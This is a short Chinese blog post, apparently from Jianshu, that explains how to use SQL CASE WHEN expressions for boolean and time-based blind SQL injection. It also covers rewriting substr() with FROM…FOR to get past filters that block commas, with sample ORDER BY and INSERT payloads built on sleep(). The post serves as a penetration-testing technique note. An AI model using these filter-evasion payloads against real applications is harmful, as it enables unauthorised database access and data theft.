SQL注入(case when绕逗号过滤)

case

when [condition1] then [result1],

when [condition2] then [result2]

.........

else [result3]

end

当条件一满足返回结果一,以此可以用来进行bool注入加时间注入。

补充:substr((select database()),1,2) 可以写成 substr((select database()) from 1 for 2) 可以绕过逗号过滤


示例1:(select order by 语句 中使用case when 语句)

select * from users order by case id when 2 then sleep(1) else 1 end;



示例2:(insert 语句中使用 case when 语句)

insert into users(id) values('17' and case when 1 then sleep(1) else sleep(1) end);

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容